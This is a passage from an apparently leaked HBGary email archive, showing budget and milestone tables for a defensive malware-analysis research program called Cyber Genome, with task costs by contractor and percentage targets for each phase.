Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $149,241\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $154,484\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $160,392\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $186,058\r\n  \r\n \r\n \r\n  \r\n  Suicide/Anti-analysis\r\n  Logic Removal\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $59,494\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $117,834\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $90,461\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $113,674\r\n  \r\n \r\n \r\n  \r\n  Encapsulation Extraction\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $56,339[2]\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $145,245\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $150,655\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $158,074\r\n  \r\n \r\n \r\n  \r\n  Unix Memory to Executable\r\n  Reconstruction\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $160,505\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $97,374\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Windows Trigger Analysis\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $148,106\r\n  \r\n  \r\n  Prototype Automation Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $106,171\r\n  \r\n  \r\n  Automation of Execution\r\n  (HBGary)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $61,091\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Unix Trigger Analysis\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Research Portion of MS-Based Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $155,872\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $111,280\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Execution\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $36,051[3]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $25,546\r\n  \r\n  \r\n  Automation Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $61,091\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Obfuscation Detection\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $92,807\r\n  \r\n  \r\n  Plug-in Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $112,286\r\n  \r\n  \r\n  Stand Alone Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $170,075\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Extraction of Latent\r\n  Artifacts\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $56,339\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $145,245[4]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $150,655\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $158,074\r\n  \r\n \r\n \r\n  \r\n  Malware Collection Capability\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Refined Malware Collection Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $186,780\r\n  \r\n  \r\n  Malware Delivery\r\n  and Maintenance Papers\r\n  \r\n \r\n \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $57,050\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $60,723\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $65,986\r\n  \r\n \r\n \r\n  \r\n  Non-MS\r\n  Malware Characterization Research\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Non-MS Malware\r\n  Characterization Papers\r\n  \r\n \r\n \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $57,050\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $60,723\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $65,986\r\n  \r\n \r\n \r\n  \r\n  Interaction with Large Correlation Datasets\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Dataset\r\n  Visualization\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Concept Prototype &amp; Provide Samples $165,347\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Provide Samples&nbsp;&nbsp;&nbsp; $281,442\r\n  \r\n  \r\n  Provide Samples\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $525,105\r\n  \r\n  \r\n  Provide Samples\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $306,832\r\n  \r\n \r\n \r\n  \r\n  Cyber Lineage\r\n  Visualization Requirements\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Requirements &amp; Architecture Documents\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $261,034\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n[1]\r\nThis is GDAIS cost to support all Full Execution Space Sequencing Research (RYAN: Add Cross-Reference to\r\nnext cell).\r\n\r\n\r\n\r\n\r\n\r\n[2]\r\n(DOUG: need to explain and\r\nRYAN: add Cross-References to last cell in row)\r\n\r\n\r\n\r\n\r\n\r\n[3]\r\nHBGary is supporting GDAIS Correlation with Automated Execution on these two (RYAN: add Cross-Reference to\r\nnext cell).\r\n\r\n\r\n\r\n\r\n\r\n[4]\r\n(DOUG: need to explain and\r\nRYAN: add Cross-References to next two cells)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10094,'aaron_hbgary_com/10094.html'),(4694,'2010-03-27','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002858.M328416P3547Q4694.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Milestone and Task Figures','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSummary:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   MILESTONE\r\n   \r\n   \r\n   PERIOD 1A\r\n   \r\n   \r\n   PERIOD 1B\r\n   \r\n   \r\n   PERIOD 2A\r\n   \r\n   \r\n   PERIOD 2B\r\n   \r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Correlation\r\n  \r\n  \r\n  $849,388\r\n  \r\n  \r\n  $1,285,403\r\n  \r\n  \r\n  $1,305,682\r\n  \r\n  \r\n  $1,151,873\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Mapping\r\n  \r\n  \r\n  $874,803\r\n  \r\n  \r\n  $1,071,875\r\n  \r\n  \r\n  $1,580,764\r\n  \r\n  \r\n  $816,302\r\n  \r\n \r\n \r\n  \r\n  Automation for Normalization\r\n  \r\n  \r\n  $1,250,775\r\n  \r\n  \r\n  $1,253,183\r\n  \r\n  \r\n  $1,147,673\r\n  \r\n  \r\n  $747,854\r\n  \r\n \r\n \r\n  \r\n  Interaction with Large\r\n  Correlation Datasets\r\n  \r\n  \r\n  $426,382\r\n  \r\n  \r\n  $281,442\r\n  \r\n  \r\n  $525,105\r\n  \r\n  \r\n  $306,832\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  $3,401,348\r\n  \r\n  \r\n  $3,891,903\r\n  \r\n  \r\n  $4,559,224\r\n  \r\n  \r\n  $3,022,861\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Saturday, March 27, 2010 5:01 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Milestone and Task Figures\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Task\r\n  \r\n  \r\n  Phase IA\r\n  Metric\r\n  \r\n  \r\n  Phase IB\r\n  Metric\r\n  \r\n  \r\n  Phase\r\n  IIA Metric \r\n  \r\n  \r\n  Phase\r\n  IIB Metric\r\n  \r\n \r\n \r\n  \r\n  Correlation\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Heuristics\r\n  \r\n  \r\n  5%\r\n  reduction\r\n  \r\n  \r\n  50%\r\n  reduction\r\n  \r\n  \r\n  5X\r\n  reduction\r\n  \r\n  \r\n  20X\r\n  reduction\r\n  \r\n \r\n \r\n  \r\n  Statistical\r\n  Correlation \r\n  \r\n  \r\n  Identical\r\n  Correlation \r\n  \r\n  \r\n  5%&nbsp;\r\n  Compensation\r\n  \r\n  \r\n  20%\r\n  Compensation\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Bayesian\r\n  Correlation\r\n  \r\n  \r\n  Identical\r\n  Correlation \r\n  \r\n  \r\n  5%&nbsp;\r\n  Compensation\r\n  \r\n  \r\n  20%\r\n  Compensation\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Weighting\r\n  \r\n  \r\n  1% CG\r\n  weighted\r\n  \r\n  \r\n  3% CG\r\n  weighted\r\n  \r\n  \r\n  10% CG\r\n  weighted\r\n  \r\n  \r\n  20% CG\r\n  weighted\r\n  \r\n \r\n \r\n  \r\n  Mapping\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Function\r\n  Abstraction\r\n  \r\n  \r\n  5%\r\n  Optimization\r\n  \r\n  \r\n  20%\r\n  Optimization\r\n  \r\n  \r\n  50%\r\n  Optimization\r\n  \r\n  \r\n  200%\r\n  Optimization\r\n  \r\n \r\n \r\n  \r\n  ASM\r\n  Scubbing\r\n  \r\n  \r\n  5%\r\n  Optimization\r\n  \r\n  \r\n  20%\r\n  Optimization\r\n  \r\n  \r\n  50%\r\n  Optimization\r\n  \r\n  \r\n  200%\r\n  Optimization\r\n  \r\n \r\n \r\n  \r\n  Known\r\n  Trait Analysis\r\n  \r\n  \r\n  5%\r\n  Identification\r\n  \r\n  \r\n  10%\r\n  Identification\r\n  \r\n  \r\n  20% Identification\r\n  \r\n  \r\n  40%\r\n  Identification\r\n  \r\n \r\n \r\n  \r\n  Unknown\r\n  Trait Analysis\r\n  \r\n  \r\n  5%\r\n  Identification\r\n  \r\n  \r\n  10%\r\n  Identification\r\n  \r\n  \r\n  30%\r\n  Identification\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Linear\r\n  Extraction\r\n  \r\n  \r\n  10%\r\n  Extraction\r\n  \r\n  \r\n  20%\r\n  Extraction\r\n  \r\n  \r\n  30%\r\n  Extraction\r\n  \r\n  \r\n  50%\r\n  Extraction\r\n  \r\n \r\n \r\n  \r\n  Full\r\n  Path Extraction\r\n  \r\n  \r\n  10% Extraction\r\n  \r\n  \r\n  30%\r\n  Extraction\r\n  \r\n  \r\n  80%\r\n  Extraction\r\n  \r\n  \r\n  95%\r\n  Extraction\r\n  \r\n \r\n \r\n  \r\n  Sequencing\r\n  \r\n  \r\n  \r\n  5%\r\n  Program Mapped\r\n  \r\n  \r\n  30%\r\n  Program Mapped\r\n  \r\n  \r\n  50%\r\n  Program Mapped\r\n  \r\n  \r\n  90%\r\n  Program Mapped\r\n  \r\n \r\n \r\n  \r\n  Flow\r\n  Mapping\r\n  \r\n  \r\n  5%\r\n  Program Flow\r\n  \r\n  \r\n  20%\r\n  Program Flow\r\n  \r\n  \r\n  50%\r\n  Program Flow\r\n  \r\n  \r\n  90%\r\n  Program Flow\r\n  \r\n \r\n \r\n  \r\n  Normalization\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  De-obfuscation\r\n  \r\n  \r\n  10%\r\n  Successful\r\n  \r\n  \r\n  20%\r\n  Successful\r\n  \r\n  \r\n  40%\r\n  Successful\r\n  \r\n  \r\n  90%\r\n  Successful\r\n  \r\n \r\n \r\n  \r\n  Memory\r\n  Exe Reconstruct\r\n  \r\n  \r\n  5%\r\n  Reconstruct\r\n  \r\n  \r\n  20%\r\n  Reconstruct\r\n  \r\n  \r\n  40%\r\n  Reconstruct\r\n  \r\n  \r\n  80%\r\n  Reconstruct\r\n  \r\n \r\n \r\n  \r\n  Suicide\r\n  Removal\r\n  \r\n  \r\n  5%\r\n  Removed\r\n  \r\n  \r\n  15%\r\n  Removed\r\n  \r\n  \r\n  40%\r\n  Removed\r\n  \r\n  \r\n  90%\r\n  Removed\r\n  \r\n \r\n \r\n  \r\n  Encapsulation\r\n  Extraction\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  5%\r\n  Extraction\r\n  \r\n  \r\n  40%\r\n  Extraction\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Trigger\r\n  Analysis\r\n  \r\n  \r\n  5%\r\n  Trigger capture\r\n  \r\n  \r\n  80%\r\n  Trigger capture\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Automated\r\n  Execution\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  40%\r\n  Fully Automated\r\n  \r\n  \r\n  80%\r\n  Fully Automated\r\n  \r\n \r\n \r\n  \r\n  Obfuscation\r\n  Detection\r\n  \r\n  \r\n  5%\r\n  Detection POC\r\n  \r\n  \r\n  70%\r\n  Detection Pluggin\r\n  \r\n  \r\n  70%\r\n  Detection Proto\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Extraction\r\n  of Artifacts\r\n  \r\n  \r\n  80%\r\n  Extracted\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Interface\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Unified\r\n  Correlation Engine\r\n  \r\n  \r\n  10\r\n  Genome/Hour\r\n  \r\n  \r\n  100\r\n  Genome/Hour\r\n  \r\n  \r\n  1K\r\n  Genome/Hour\r\n  \r\n  \r\n  10K\r\n  Genome/Hour\r\n  \r\n \r\n \r\n  \r\n  Dataset\r\n  \r\n  \r\n  1K\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  10K\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  1M\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  10M\r\n  Genome Cor Cap\r\n  \r\n \r\n \r\n  \r\n  Visualization\r\n  \r\n  \r\n  Desktop\r\n  Mock Up\r\n  \r\n  \r\n  100\r\n  Genome Interaction\r\n  \r\n  \r\n  1K\r\n  Genome Interaction\r\n  \r\n  \r\n  10K\r\n  Genome Interaction\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   MILESTONES\r\n   \r\n   \r\n   LEAD\r\n   \r\n   \r\n   PERIOD 1A\r\n   \r\n   \r\n   PERIOD 1B\r\n   \r\n   \r\n   PERIOD 2A\r\n   \r\n   \r\n   PERIOD 2B\r\n   \r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Correlation\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome\r\n  Dataset\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Prototype\r\n  